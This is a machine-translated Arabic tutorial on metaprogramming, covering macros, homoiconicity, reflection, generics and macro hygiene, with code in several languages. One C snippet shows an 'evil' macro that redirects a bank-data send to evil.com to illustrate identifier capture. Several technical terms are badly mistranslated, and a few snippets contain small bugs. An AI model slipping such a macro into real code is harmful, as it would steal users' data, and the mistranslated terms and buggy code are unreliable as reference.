كود كتابة الكود: مقدمة لنظرية وممارسة البرمجة الوصفية الحديثة

نشرت: 2022-07-22

عندما أفكر في أفضل طريقة لشرح وحدات الماكرو ، أتذكر برنامج Python الذي كتبته عندما بدأت البرمجة لأول مرة. لم أستطع تنظيمه بالطريقة التي أردت. اضطررت إلى استدعاء عدد من الوظائف المختلفة قليلاً ، وأصبح الرمز مرهقًا. ما كنت أبحث عنه - على الرغم من أنني لم أكن أعرف ذلك في ذلك الوقت - كان البرمجة الوصفية .

metaprogramming (اسم)

أي تقنية يمكن للبرنامج من خلالها التعامل مع الكود على أنها بيانات.

يمكننا إنشاء مثال يوضح نفس المشكلات التي واجهتها مع مشروع Python الخاص بي من خلال تخيل أننا نبني النهاية الخلفية لتطبيق لأصحاب الحيوانات الأليفة. باستخدام الأدوات الموجودة في المكتبة ، pet_sdk ، نكتب لغة Python لمساعدة أصحاب الحيوانات الأليفة في شراء طعام القطط:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
المقتطف 1: اطلب طعام القطط

بعد التأكد من عمل الكود ، ننتقل إلى تطبيق نفس المنطق لنوعين آخرين من الحيوانات الأليفة (الطيور والكلاب). نضيف أيضًا ميزة لحجز مواعيد الطبيب البيطري:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
المقتطف 2: اطلب طعام القطط والكلاب والطيور ؛ حجز موعد الطبيب البيطري

سيكون من الجيد تكثيف المنطق المتكرر لـ Snippet 2 في حلقة ، لذلك شرعنا في إعادة كتابة الكود. سرعان ما ندرك أنه نظرًا لأنه يتم تسمية كل وظيفة بشكل مختلف ، لا يمكننا تحديد أي وظيفة (على سبيل المثال ، book_bird_appointment ، أو book_cat_appointment ) نطلبها في حلقةنا:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
المقتطف 3: ماذا الآن؟

دعنا نتخيل إصدارًا مشحونًا بشاحن توربيني من Python يمكننا من خلاله كتابة البرامج التي تُنشئ تلقائيًا الكود النهائي الذي نريده - وهو برنامج يمكننا من خلاله معالجة برنامجنا بمرونة وسهولة وسلاسة كما لو كان قائمة أو بيانات في ملف أو أي نوع البيانات الشائعة الأخرى أو إدخال البرنامج:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Snippet 4: TurboPython: برنامج خيالي

هذا مثال لماكرو ، متاح بلغات مثل Rust أو Julia أو C ، على سبيل المثال لا الحصر - ولكن ليس Python.

هذا السيناريو هو مثال رائع على كيف يمكن أن يكون من المفيد كتابة برنامج قادر على تعديل ومعالجة الكود الخاص به. هذا هو بالضبط رسم وحدات الماكرو ، وهو واحد من العديد من الإجابات على سؤال أكبر: كيف يمكننا الحصول على برنامج لفحص الكود الخاص به ، والتعامل معه على أنه بيانات ، ثم التصرف بناءً على هذا الاستبطان؟

بشكل عام ، تندرج جميع التقنيات التي يمكنها تحقيق مثل هذا الاستبطان ضمن المصطلح الشامل "البرمجة الوصفية". Metaprogramming هي حقل فرعي غني في تصميم لغة البرمجة ، ويمكن إرجاعها إلى مفهوم واحد مهم: الكود كبيانات.

انعكاس: دفاعًا عن بايثون

قد تشير إلى أنه على الرغم من أن Python قد لا توفر دعمًا ماكروًا ، إلا أنها توفر الكثير من الطرق الأخرى لكتابة هذا الرمز. على سبيل المثال ، نستخدم هنا طريقة isinstance() لتحديد الفئة التي يعد المتغير animal الخاص بنا مثالًا لها واستدعاء الوظيفة المناسبة:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
المقتطف 5: مثال اصطلاحي

نسمي هذا النوع من انعكاس البرمجة الوصفية ، وسنعود إليه لاحقًا. لا يزال رمز Snippet 5 مرهقًا بعض الشيء ولكن يسهل على المبرمج كتابته أكثر من Snippet 2 ، حيث كررنا المنطق لكل حيوان مدرج في القائمة.

تحدي

باستخدام طريقة getattr ، قم بتعديل الكود السابق لاستدعاء order_*_food and book_*_appointment ديناميكيًا. يمكن القول إن هذا يجعل الكود أقل قابلية للقراءة ، ولكن إذا كنت تعرف Python جيدًا ، فمن الجدير التفكير في كيفية استخدام getattr بدلاً من وظيفة isinstance ، وتبسيط الكود.


اللواط: أهمية اللثغة

بعض لغات البرمجة ، مثل Lisp ، تأخذ مفهوم metaprogramming إلى مستوى آخر عبر homoiconicity .

اللواط (اسم)

خاصية لغة البرمجة حيث لا يوجد تمييز بين الكود والبيانات التي يعمل عليها البرنامج.

Lisp ، التي تم إنشاؤها في عام 1958 ، هي أقدم لغة homoiconic وثاني أقدم لغة برمجة عالية المستوى. اشتُق اسم LIS من "LISt Processor" ، وكان بمثابة ثورة في الحوسبة التي شكلت بعمق كيفية استخدام أجهزة الكمبيوتر وبرمجتها. من الصعب المبالغة في تقدير مدى تأثير ليسب بشكل أساسي ومميز على البرمجة.

Emacs مكتوب بلغة Lisp ، وهي لغة الكمبيوتر الوحيدة الجميلة. نيل ستيفنسون

تم إنشاء Lisp بعد عام واحد فقط من FORTRAN ، في عصر البطاقات المثقوبة وأجهزة الكمبيوتر العسكرية التي تملأ الغرفة. ومع ذلك ، لا يزال المبرمجون يستخدمون Lisp اليوم لكتابة تطبيقات جديدة وحديثة. كان مبتكر ليسب الأساسي ، جون مكارثي ، رائدًا في مجال الذكاء الاصطناعي. لسنوات عديدة ، كانت Lisp هي لغة الذكاء الاصطناعي ، حيث يقدر الباحثون القدرة على إعادة كتابة التعليمات البرمجية الخاصة بهم ديناميكيًا. تتركز أبحاث الذكاء الاصطناعي اليوم حول الشبكات العصبية والنماذج الإحصائية المعقدة ، بدلاً من هذا النوع من كود التوليد المنطقي. ومع ذلك ، فإن البحث الذي تم إجراؤه على الذكاء الاصطناعي باستخدام Lisp - خاصة البحث الذي تم إجراؤه في الستينيات والسبعينيات في MIT و Stanford - خلق المجال كما نعرفه ، ويستمر تأثيره الهائل.

عرض مجيء ليسب المبرمجين الأوائل للإمكانيات الحسابية العملية لأشياء مثل التكرار ووظائف الترتيب الأعلى والقوائم المرتبطة لأول مرة. كما أظهر قوة لغة البرمجة المبنية على أفكار حساب لامدا.

أثارت هذه المفاهيم انفجارًا في تصميم لغات البرمجة ، وكما قال Edsger Dijkstra ، أحد أعظم الأسماء في علوم الكمبيوتر ، " [...] ساعد عددًا من زملائنا البشر الأكثر موهبة في التفكير في أفكار كانت مستحيلة سابقًا."

يوضح هذا المثال برنامج Lisp البسيط (وما يعادله في بناء جملة Python الأكثر شيوعًا) الذي يحدد دالة "عاملة" تحسب بشكل متكرر عامل إدخالها وتستدعي تلك الوظيفة مع الإدخال "7":

لثغة بايثون
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

كود كبيانات

على الرغم من كونها واحدة من أكثر ابتكارات Lisp تأثيرًا وتأثيرًا ، إلا أن المثلية ، على عكس التكرار والعديد من المفاهيم الأخرى التي ابتكرها Lisp ، لم تصل إلى معظم لغات البرمجة الحالية.

يقارن الجدول التالي الدوال المتجانسة التي تُرجع التعليمات البرمجية في كل من Julia و Lisp. Julia هي لغة homoiconic تشبه ، من نواح كثيرة ، اللغات عالية المستوى التي قد تكون على دراية بها (مثل Python و Ruby).

الجزء الأساسي في بناء الجملة في كل مثال هو حرف الاقتباس . تستخدم جوليا : (نقطتان) للاقتباس ، بينما تستخدم Lisp ' (اقتباس مفرد):

جوليا لثغة
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

في كلا المثالين ، فإن الاقتباس الموجود بجانب التعبير الرئيسي ( (x + 1) أو (+ x 1) ) يحولها من رمز تم تقييمه مباشرة إلى تعبير مجردة يمكننا معالجته. تقوم الوظيفة بإرجاع رمز - وليس سلسلة أو بيانات. إذا كان علينا استدعاء وظيفتنا وكتابة print(function_that_returns_code()) ، فإن جوليا ستطبع الكود المرتب على شكل x+1 (والمكافئ صحيح لـ Lisp). على العكس من ذلك ، بدون : (أو ' Lisp) ، سنحصل على خطأ مفاده أن x لم يتم تعريفه.

دعنا نعود إلى مثال جوليا الخاص بنا ونقوم بتوسيعه:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
المقتطف 6: تم تمديد مثال جوليا

يمكن استخدام وظيفة eval لتشغيل الكود الذي ننشئه من مكان آخر في البرنامج. لاحظ أن القيمة المطبوعة تستند إلى تعريف المتغير x . إذا حاولنا eval الكود الذي تم إنشاؤه في سياق لم يتم فيه تعريف x ، فسنحصل على خطأ.

تعد Homoiconicity نوعًا قويًا من البرمجة الوصفية ، وهي قادرة على إطلاق العنان لنماذج برمجة جديدة ومعقدة يمكن للبرامج أن تتكيف معها بشكل سريع ، وتولد رمزًا يناسب المشكلات الخاصة بالمجال أو تنسيقات البيانات الجديدة التي يتم مواجهتها.

خذ حالة WolframAlpha ، حيث يمكن أن تنشئ لغة Wolfram homoiconic كودًا للتكيف مع مجموعة لا تصدق من المشاكل. يمكنك أن تسأل WolframAlpha ، "ما هو الناتج المحلي الإجمالي لمدينة نيويورك مقسومًا على سكان أندورا؟" وبشكل ملحوظ تلقي استجابة منطقية.

يبدو من غير المحتمل أن يفكر أي شخص في تضمين هذا الحساب الغامض وغير المجدي في قاعدة بيانات ، لكن ولفرام يستخدم البرمجة الوصفية ورسمًا بيانيًا للمعرفة الوجودية لكتابة رمز سريع للإجابة على هذا السؤال.

من المهم أن نفهم المرونة والقوة التي توفرها Lisp واللغات homoiconic الأخرى. قبل أن نتعمق أكثر ، دعنا نفكر في بعض خيارات البرمجة الوصفية المتاحة لك:

تعريف أمثلة ملحوظات
اللواط خاصية لغة يكون فيها الرمز عبارة عن بيانات "من الدرجة الأولى". نظرًا لعدم وجود فصل بين الكود والبيانات ، يمكن استخدام الاثنين بالتبادل.
  • لثغة
  • برولوج
  • جوليا
  • تمرد / أحمر
  • لغة ولفرام
هنا ، تتضمن Lisp لغات أخرى في عائلة Lisp ، مثل Scheme و Racket و Clojure.
وحدات الماكرو عبارة أو وظيفة أو تعبير يأخذ الكود كمدخل ويعيد الكود كمخرج.
  • macro_rules! Derive ووحدات الماكرو الإجرائية
  • جوليا الدعوات @macro
  • defmacro ليسب ل
  • C's #define
(راجع الملاحظة التالية حول وحدات الماكرو الخاصة بـ C.)
توجيهات المعالج المسبق (أو المترجم المسبق) النظام الذي يأخذ البرنامج كمدخل ، وبناءً على العبارات المضمنة في الكود ، يقوم بإرجاع نسخة معدلة من البرنامج كمخرجات.
  • وحدات ماكرو سي
  • نظام المعالج الأولي C #
يتم تنفيذ وحدات الماكرو الخاصة بـ C باستخدام نظام المعالج المسبق لـ C ، ولكن كلاهما مفهومان منفصلان.

يتمثل الاختلاف المفاهيمي الرئيسي بين وحدات الماكرو الخاصة بـ C (التي نستخدم فيها التوجيه #define preprocessor) وأشكال أخرى من توجيهات المعالج المسبق لـ C (على سبيل المثال ، #if و #ifndef ) في أننا نستخدم وحدات الماكرو لإنشاء رمز أثناء استخدام غير #define توجيهات المعالج المسبق لترجمة التعليمات البرمجية الأخرى بشكل مشروط. الاثنان مرتبطان ارتباطًا وثيقًا بلغة C وفي بعض اللغات الأخرى ، لكنهما نوعان مختلفان من البرمجة الوصفية.
انعكاس قدرة البرنامج على فحص وتعديل واستبطان الكود الخاص به.
  • مثال getattr isinstance وظائف
  • typeof JavaScript Reflect
  • getDeclaredMethods
  • System.Type الخاص بـ .NET التسلسل الهرمي للفئة
يمكن أن يحدث الانعكاس في وقت الترجمة أو في وقت التشغيل.
علم الوراثة القدرة على كتابة التعليمات البرمجية الصالحة لعدد من الأنواع المختلفة أو التي يمكن استخدامها في سياقات متعددة ولكن مخزنة في مكان واحد. يمكننا تحديد السياقات التي تكون فيها الشفرة صالحة إما بشكل صريح أو ضمني.

الأدوية ذات النمط النموذجي:

  • C ++
  • الصدأ
  • جافا

تعدد الأشكال البارامترية:

  • هاسكل
  • ML
تعد البرمجة العامة موضوعًا أوسع من البرمجة الوصفية العامة ، والخط الفاصل بينهما غير محدد جيدًا.

من وجهة نظر هذا المؤلف ، يُحسب نظام الكتابة البارامترية فقط على أنه Metaprogramming إذا كان بلغة مكتوبة بشكل ثابت.
مرجع ل Metaprogramming

دعنا نلقي نظرة على بعض الأمثلة العملية على homoiconicity ، وحدات الماكرو ، توجيهات المعالج المسبق ، الانعكاس ، والأدوية المكتوبة بلغات برمجة مختلفة:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Snippet 7: Homoiconicity في جوليا
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
المقتطف 8: توجيهات المعالج المسبق في لغة C.
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
المقتطف 9: انعكاس في بايثون
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Snippet 10: Generics in Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
المقتطف 11: وحدات الماكرو في Rust

أصبحت وحدات الماكرو (مثل تلك الموجودة في Snippet 11) شائعة مرة أخرى في جيل جديد من لغات البرمجة. لتطويرها بنجاح ، يجب أن نأخذ في الاعتبار موضوعًا رئيسيًا: النظافة.

وحدات الماكرو الصحية وغير الصحية

ماذا يعني أن تكون الشفرة "صحية" أو "غير صحية"؟ للتوضيح ، دعنا ننظر إلى ماكرو Rust ، تم إنشاء مثيل له بواسطة macro_rules! وظيفة. كما يوحي الاسم ، فإن macro_rules! يولد رمزًا بناءً على القواعد التي نحددها. في هذه الحالة ، قمنا بتسمية الماكرو الخاص بنا my_macro ، والقاعدة هي "إنشاء سطر من التعليمات البرمجية let x = $n " ، حيث n هو الإدخال الخاص بنا:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
المقتطف 12: النظافة في الصدأ

عندما نقوم بتوسيع الماكرو (تشغيل ماكرو لاستبدال استدعائه بالرمز الذي ينشئه) ، نتوقع الحصول على ما يلي:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
المقتطف 13: مثالنا ، موسّع

على ما يبدو ، أعاد الماكرو الخاص بنا تعريف المتغير x ليساوي 3 ، لذلك قد نتوقع بشكل معقول أن يقوم البرنامج بطباعة 3 . في الواقع ، إنها تطبع 5 ! متفاجئ؟ في Rust، macro_rules! صحية فيما يتعلق بالمعرفات ، لذلك لن "تلتقط" المعرفات خارج نطاقها. في هذه الحالة ، كان المعرف هو x . لو تم التقاطها بواسطة الماكرو ، لكانت تساوي 3.

النظافة (اسم)

خاصية تضمن أن توسع الماكرو لن يلتقط المعرفات أو الحالات الأخرى من خارج نطاق الماكرو. تسمى وحدات الماكرو وأنظمة الماكرو التي لا توفر هذه الخاصية غير الصحية .

تعد النظافة في وحدات الماكرو موضوعًا مثيرًا للجدل إلى حد ما بين المطورين. يصر المؤيدون على أنه بدون النظافة ، من السهل جدًا تعديل سلوك الكود الخاص بك عن طريق الصدفة. تخيل وحدة ماكرو أكثر تعقيدًا بشكل ملحوظ من Snippet 13 المستخدمة في التعليمات البرمجية المعقدة مع العديد من المتغيرات والمعرفات الأخرى. ماذا لو استخدم هذا الماكرو أحد المتغيرات نفسها مثل التعليمات البرمجية الخاصة بك - ولم تلاحظ ذلك؟

ليس من غير المعتاد أن يستخدم المطور ماكروًا من مكتبة خارجية دون قراءة التعليمات البرمجية المصدر. هذا شائع بشكل خاص في اللغات الأحدث التي تقدم دعمًا ماكروًا (على سبيل المثال ، Rust و Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Snippet 14: Evil C Macro

يلتقط هذا الماكرو غير الصحي في C website المعرف ويغير قيمته. بالطبع ، التقاط المعرف ليس ضارًا. إنها مجرد نتيجة عرضية لاستخدام وحدات الماكرو.

لذا ، وحدات الماكرو الصحية جيدة ، ووحدات الماكرو غير الصحية سيئة ، أليس كذلك؟ لسوء الحظ ، الأمر ليس بهذه البساطة. هناك حجة قوية يجب إثباتها بأن وحدات الماكرو الصحية تقيدنا. في بعض الأحيان ، يكون التقاط المعرف مفيدًا. دعنا نعيد زيارة Snippet 2 ، حيث نستخدم pet_sdk لتقديم خدمات لثلاثة أنواع من الحيوانات الأليفة. بدأ الكود الأصلي لدينا على النحو التالي:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
المقتطف 15: الرجوع إلى الطبيب البيطري - جارٍ استدعاء pet sdk

ستتذكر أن Snippet 3 كانت محاولة لتكثيف المنطق المتكرر لـ Snippet 2 في حلقة شاملة. ولكن ماذا لو كان كودنا يعتمد على معرفات cats dogs ، وأردنا أن نكتب شيئًا مثل ما يلي:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
المقتطف 16: التقاط معرّف مفيد (في "TurboPython" الوهمي)

يعد Snippet 16 بسيطًا بعض الشيء ، بالطبع ، لكن تخيل حالة نريد فيها ماكرو كتابة 100٪ من جزء معين من التعليمات البرمجية. قد تكون وحدات الماكرو الصحية محدودة في مثل هذه الحالة.

على الرغم من أن الجدل العام الصحي مقابل غير الصحي يمكن أن يكون معقدًا ، إلا أن الخبر السار هو أنه لا يتعين عليك اتخاذ موقف. تحدد اللغة التي تستخدمها ما إذا كانت وحدات الماكرو الخاصة بك ستكون صحية أم غير صحية ، لذا ضع ذلك في الاعتبار عند استخدام وحدات الماكرو.

وحدات الماكرو الحديثة

تواجه وحدات الماكرو بعض الوقت الآن. لفترة طويلة ، تحول تركيز لغات البرمجة الضرورية الحديثة بعيدًا عن وحدات الماكرو كجزء أساسي من وظائفها ، وتجنبها لصالح أنواع أخرى من البرمجة الوصفية.

أخبرتهم اللغات التي كان يتم تدريسها للمبرمجين الجدد في المدارس (على سبيل المثال ، Python و Java) أن كل ما يحتاجون إليه هو التفكير والأدوية.

بمرور الوقت ، عندما أصبحت تلك اللغات الحديثة شائعة ، أصبحت وحدات الماكرو مرتبطة بترهيب بناء جملة المعالجات C و C ++ - إذا كان المبرمجون على دراية بها على الإطلاق.

مع ظهور Rust و Julia ، تحول الاتجاه مرة أخرى إلى وحدات الماكرو. Rust and Julia هما لغتان حديثتان يمكن الوصول إليهما ومستخدمتان على نطاق واسع أعادا تعريف مفهوم وحدات الماكرو ونشرهما ببعض الأفكار الجديدة والمبتكرة. هذا مثير بشكل خاص في Julia ، التي تبدو مهيأة لتحل محل Python و R كلغة سهلة الاستخدام "مضمنة بالبطاريات" متعددة الاستخدامات.

عندما نظرنا لأول مرة إلى pet_sdk من خلال نظارات "TurboPython" الخاصة بنا ، ما أردناه حقًا هو شيء مثل جوليا. دعنا نعيد كتابة Snippet 2 في Julia ، باستخدام homoiconic لها وبعض أدوات metaprogramming الأخرى التي يقدمها:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
مقتطف 17: قوة وحدات ماكرو جوليا - جعل pet_sdk يعمل لصالحنا

لنفصل المقتطف 17:

  1. نقوم بالتكرار من خلال ثلاث مجموعات. أولها ("cat", :clean_litterbox) ، لذلك تم تعيين المتغير pet إلى "cat" ، ويتم تعيين المتغير care_fn للرمز المقتبس :clean_litterbox .
  2. نستخدم دالة Meta.parse لتحويل سلسلة إلى Expression ، حتى نتمكن من تقييمها على أنها رمز. في هذه الحالة ، نريد استخدام قوة استيفاء السلسلة ، حيث يمكننا وضع سلسلة في أخرى ، لتحديد الوظيفة التي يجب استدعاؤها.
  3. نستخدم الدالة eval لتشغيل الكود الذي ننشئه. @eval begin… end هي طريقة أخرى لكتابة eval(...) لتجنب إعادة كتابة الكود. يوجد داخل كتلة @eval رمز نقوم بإنشائه بشكل ديناميكي وتشغيله.

يحررنا نظام جوليا البترولي حقًا للتعبير عما نريد بالطريقة التي نريدها. كان بإمكاننا استخدام العديد من الأساليب الأخرى ، بما في ذلك التفكير (مثل Python في Snippet 5). كان بإمكاننا أيضًا كتابة دالة ماكرو تُنشئ صراحةً رمزًا لحيوان معين ، أو يمكننا إنشاء الكود بالكامل كسلسلة واستخدام Meta.parse أو أي مجموعة من هذه الطرق.

ما وراء جوليا: أنظمة Metaprogramming الحديثة الأخرى

ربما تكون جوليا واحدة من أكثر الأمثلة إثارة للاهتمام وإقناعًا لنظام ماكرو حديث ، لكنها ليست النموذج الوحيد بأي حال من الأحوال. كان Rust أيضًا مفيدًا في جلب وحدات الماكرو أمام المبرمجين مرة أخرى.

في Rust ، تتميز وحدات الماكرو بشكل مركزي أكثر من Julia ، على الرغم من أننا لن نستكشف ذلك بشكل كامل هنا. لمجموعة من الأسباب ، لا يمكنك كتابة Rust الاصطلاحية دون استخدام وحدات الماكرو. ومع ذلك ، في Julia ، يمكنك اختيار تجاهل نظام homoiconic والنظام الكلي تمامًا.

كنتيجة مباشرة لتلك المركزية ، احتضن النظام البيئي Rust حقًا وحدات الماكرو. قام أعضاء المجتمع ببناء بعض المكتبات الرائعة بشكل لا يصدق ، وإثباتات المفهوم ، والميزات باستخدام وحدات الماكرو ، بما في ذلك الأدوات التي يمكنها إجراء تسلسل للبيانات وإلغاء تسلسلها ، وإنشاء SQL تلقائيًا ، أو حتى تحويل التعليقات التوضيحية المتبقية في التعليمات البرمجية إلى لغة برمجة أخرى ، وكلها تم إنشاؤها في رمز في وقت الترجمة.

في حين أن برمجة جوليا الميتابروغرجة قد تكون أكثر تعبيرًا وحرية ، ربما يكون Rust هو أفضل مثال على لغة حديثة ترفع من مستوى البرمجة الوصفية ، حيث إنها مميزة بشكل كبير في جميع أنحاء اللغة.

عين على المستقبل

الآن هو وقت رائع للاهتمام بلغات البرمجة. اليوم ، يمكنني كتابة تطبيق بلغة C ++ وتشغيله في مستعرض ويب أو كتابة تطبيق بلغة JavaScript للتشغيل على سطح المكتب أو الهاتف. لم تكن العوائق التي تحول دون الدخول أقل من أي وقت مضى ، والمبرمجون الجدد لديهم معلومات في متناول أيديهم كما لم يحدث من قبل.

في هذا العالم من اختيار المبرمج والحرية ، لدينا امتياز متزايد لاستخدام اللغات الحديثة الغنية ، والتي تختار الميزات والمفاهيم من تاريخ علوم الكمبيوتر ولغات البرمجة السابقة. من المثير رؤية وحدات الماكرو يتم التقاطها وإزالة الغبار عنها في موجة التطوير هذه. لا أطيق الانتظار لأرى ما سيفعله مطورو الجيل الجديد بينما يقدمهم Rust و Julia إلى وحدات الماكرو. تذكر أن "الشفرة كبيانات" هي أكثر من مجرد عبارة مشهورة. إنها أيديولوجية أساسية يجب وضعها في الاعتبار عند مناقشة البرمجة الوصفية في أي مجتمع عبر الإنترنت أو بيئة أكاديمية.

"الشفرة كبيانات" هي أكثر من مجرد شعار.

سقسقة

كان تاريخ البرمجة الوصفية الممتد على مدار 64 عامًا جزءًا لا يتجزأ من تطوير البرمجة كما نعرفها اليوم. في حين أن الابتكارات والتاريخ الذي اكتشفناه ما هو إلا ركن من أركان ملحمة البرمجة الوصفية ، إلا أنها توضح القوة القوية والمنفعة التي تتميز بها البرمجة الوصفية الحديثة.